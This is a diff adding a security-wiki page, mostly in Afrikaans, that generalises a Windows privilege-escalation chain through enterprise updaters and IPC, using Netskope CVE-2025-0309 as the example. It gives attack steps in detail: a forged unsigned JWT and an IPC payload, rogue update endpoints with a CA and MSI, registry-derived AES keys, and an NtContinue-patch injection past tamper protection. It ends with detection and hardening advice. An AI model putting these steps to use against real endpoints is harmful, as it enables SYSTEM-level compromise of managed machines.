diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..2a07cd636 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# Misbruik van Enterprise Auto-Updaters en Geprivilegieerde IPC (bv., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +Hierdie bladsy veralgemeen ’n klas Windows lokale privilege‑escalation kettings wat gevind word in enterprise endpoint agents en updaters wat ’n laag‑friksie IPC‑oppervlak en ’n geprivilegieerde update‑vloei blootstel. ’n Reprensentatiewe voorbeeld is Netskope Client for Windows < R129 (CVE-2025-0309), waar ’n laag‑geprivilegieerde gebruiker inskrywing na ’n aanvaller‑beheer­de bediener kan afdwing en daarna ’n kwaadaardige MSI kan lewer wat die SYSTEM‑diens installeer. + +Belangrike idees wat jy teen soortgelyke produkte kan hergebruik: +- Misbruik ’n geprivilegieerde diens se localhost IPC om her‑inskrywing of herkonfigurering na ’n aanvaller‑bediener af te dwing. +- Implementeer die vendor se update‑endpoints, lewer ’n rogue Trusted Root CA, en punt die updater na ’n kwaadwillige, “signed” pakket. +- Ontduik swak signer checks (CN allow‑lists), opsionele digest‑vlae, en laks MSI‑eienskappe. +- As IPC “encrypted” is, lei die key/IV af vanaf wêreld‑leesbare masjien‑identifiseerders wat in die registry gestoor is. +- As die diens oproepers beperk volgens image path/process name, inject in ’n allow‑listed proses of spawn een geskors en bootstrap jou DLL via ’n minimale thread‑context patch. + +--- +## 1) Forceer inskrywing na ’n aanvaller‑bediener via localhost IPC + +Baie agents lewer ’n user‑mode UI‑proses wat met ’n SYSTEM‑diens oor localhost TCP kommunikeer met JSON. + +Waargeneem in Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Uitbuitingsvloei: +1) Skryf ’n JWT enrollment token waarvan die claims die backend‑host beheer (bv., AddonUrl). Gebruik alg=None sodat geen signature vereis word nie. +2) Stuur die IPC‑boodskap wat die provisioning‑opdrag aanroep met jou JWT en tenant‑naam: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) Die diens begin jou rogue server vir enrollment/config te kontak, bv.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Aantekeninge: +- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4). + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +Sodra die client met jou bediener kommunikeer, implementeer die verwagte endpoints en lei dit na 'n attacker MSI. Tipiese volgorde: + +1) /v2/config/org/clientconfig → Gee JSON-config terug met 'n baie kort updater-interval, bv.: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → Gee 'n PEM CA sertifikaat terug. Die diens installeer dit in die Local Machine Trusted Root store. +3) /v2/checkupdate → Verskaf metadata wat na 'n kwaadwillige MSI en 'n valse weergawe wys. + +Bypass van algemene kontroles wat in die veld aangetref word: +- Signer CN allow‑list: die diens mag slegs die Subject CN nagaan of dit gelyk is aan “netSkope Inc” of “Netskope, Inc.”. Jou eensindige CA kan 'n leaf-sertifikaat met daardie CN uitreik en die MSI teken. +- CERT_DIGEST-eienskap: sluit 'n onskadelike MSI-eienskap met die naam CERT_DIGEST in. Geen afdwinging tydens installasie nie. +- Opsionele digest-afdwinging: config-vlag (bv., check_msi_digest=false) skakel ekstra kryptografiese validering af. + +Resultaat: die SYSTEM-diens installeer jou MSI vanaf +C:\ProgramData\Netskope\stAgent\data\*.msi +en voer ewekansige kode uit as NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +Vanaf R127 het Netskope IPC JSON in 'n encryptData-veld toegedraai wat soos Base64 lyk. Reversing het gewys op AES met key/IV afgelei van registerwaardes wat deur enige gebruiker gelees kan word: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Aanvallers kan die enkripsie reproduseer en geldige, geënkripteerde opdragte vanaf 'n standaardgebruiker stuur. Algemene wenk: as 'n agent skielik sy IPC "enkripteer", kyk vir device IDs, product GUIDs, install IDs onder HKLM as materiaal. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Sommige dienste probeer die peer autentiseer deur die TCP-verbinding se PID op te los en die image path/name te vergelyk met 'n allow‑list van vendor-binaries onder Program Files (bv. stagentui.exe, bwansvc.exe, epdlp.exe). + +Twee praktiese omseilings: +- DLL-injektie in 'n toegelate proses (bv. nsdiag.exe) en proxy IPC van binne dit. +- Spawn 'n toegelate binêre gesuspendeer en bootstrap jou proxy DLL sonder CreateRemoteThread (sien §5) om bestuurder-afgedwingde manipulasie-reëls te bevredig. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Produkte bevat dikwels 'n minifilter/OB callbacks driver (bv. Stadrv) wat gevaarlike regte van handvatsels na beskermde prosesse verwyder: +- Process: verwyder PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: beperk tot THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +'n Betroubare user‑mode loader wat hierdie beperkings respekteer: +1) CreateProcess van 'n vendor-binary met CREATE_SUSPENDED. +2) Verkry handvatsels wat jy nog toegelaat is: PROCESS_VM_WRITE | PROCESS_VM_OPERATION op die proses, en 'n thread-handle met THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (of net THREAD_RESUME as jy kode by 'n bekende RIP patch). +3) Oorskryf ntdll!NtContinue (of 'n ander vroeë, gewaarborgde-gelaaide thunk) met 'n klein stub wat LoadLibraryW op jou DLL-pad aanroep, en dan terug spring. +4) ResumeThread om jou stub in‑proses te trigger en jou DLL te laai. + +Omdat jy nooit PROCESS_CREATE_THREAD of PROCESS_SUSPEND_RESUME op 'n reeds-beskermde proses gebruik het nie (jy het dit geskep), word die bestuurder se beleid bevredig. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) outomatiseer 'n rogue CA, kwaadwillige MSI-ondertekening, en bedien die nodige endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope is 'n custom IPC client wat arbitraire (opsioneel AES‑geënkripteerde) IPC-boodskappe skep en die gesuspendeerde‑proses injeksie insluit om van 'n allow‑listed binary te originate. + +--- +## 7) Detection opportunities (blue team) +- Monitor toevoegings aan Local Machine Trusted Root. Sysmon + registry‑mod eventing (sien SpecterOps guidance) werk goed. +- Merk MSI-uitvoerings wat deur die agent se diens geïnisieer word vanaf paaie soos C:\ProgramData\\\data\*.msi. +- Hersien agentlogs vir onverwante enrollment hosts/tenants, bv.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – kyk vir addonUrl / tenant anomalieë en provisioning msg 148. +- Waarschuw vir localhost IPC-kliente wat nie die verwagte signed binaries is nie, of wat uit vreemde child process-boom gewortel is. + +--- +## Hardening tips for vendors +- Bind enrollment/update hosts aan 'n streng allow‑list; verwerp onbetroubare domeine in clientkode. +- Authenticate IPC peers met OS-primitive (ALPC security, named‑pipe SIDs) in plaas van image path/name kontroles. +- Hou geheime materiaal uit wêreld-leesbare HKLM; as IPC geënkripteer moet wees, lei sleutels af van beskermde geheime of onderhandel oor geauthentiseerde kanale. +- Behandel die updater as 'n supply‑chain surface: vereis 'n volle ketting na 'n vertroude CA wat jy beheer, verifieer pakkethandtekenings teen gepinde sleutels, en fail closed as validering in die config gedeaktiveer is. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}